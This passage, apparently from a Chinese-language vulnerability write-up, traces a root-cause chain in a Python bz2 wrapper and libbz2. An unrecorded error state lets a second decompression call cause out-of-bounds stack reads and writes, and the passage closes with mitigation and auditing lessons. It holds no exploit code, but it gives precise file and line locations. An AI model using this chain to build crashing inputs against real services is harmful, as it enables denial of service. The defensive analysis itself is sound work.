  • 在边界网关层对解压请求限流,缓解确定性 DoS 的放大效应。

十、余波

根因链收敛为一条明确的因果路径:

  1. 对象层 decompress_buf 在 libbz2 报错后不记录错误状态(_bz2module.c:459 漏洞分支);
  2. libbz2 的 RETURN 宏(decompress.c:40)对错误与正常"等待输入"共用 save_state_and_return 标签(decompress.c:619)落盘,错误现场表现为可重入中间态;
  3. 第二次调用重入 state=32,恢复 j=6,GET_BIT=0 的 break 分支不复检 j >= nGroups(decompress.c:295),越界值写入 selectorMtf[298];
  4. 逆 MTF 阶段以 v=6 读写 6 字节栈数组 pos(decompress.c:315),触发越界读后被 canary/ASAN 拦截,进程 SIGABRT。

这条链给了三点纵深观察:其一,增量解压协议的"可重入"特性与错误冻结语义天然冲突,封装层必须显式区分"等待更多输入"与"出错"两种中间态;其二,状态机错误路径若与正常路径共用落盘与恢复逻辑,应复核所有恢复点对非法中间值的复检;其三,pos[BZ_N_GROUPS] 这类固定大小栈数组以"合法区间内的解引用"为前提,任何可能写入越界索引的路径都应视为高危。

同类错误复用缺陷在其他语言的压缩封装中也有先例(如部分 zip 库在 CRC 校验失败后继续解压导致的越界),审计时可参照同一思路:先找"错误后仍可继续调用"的入口,再追状态机的恢复点。

相关链接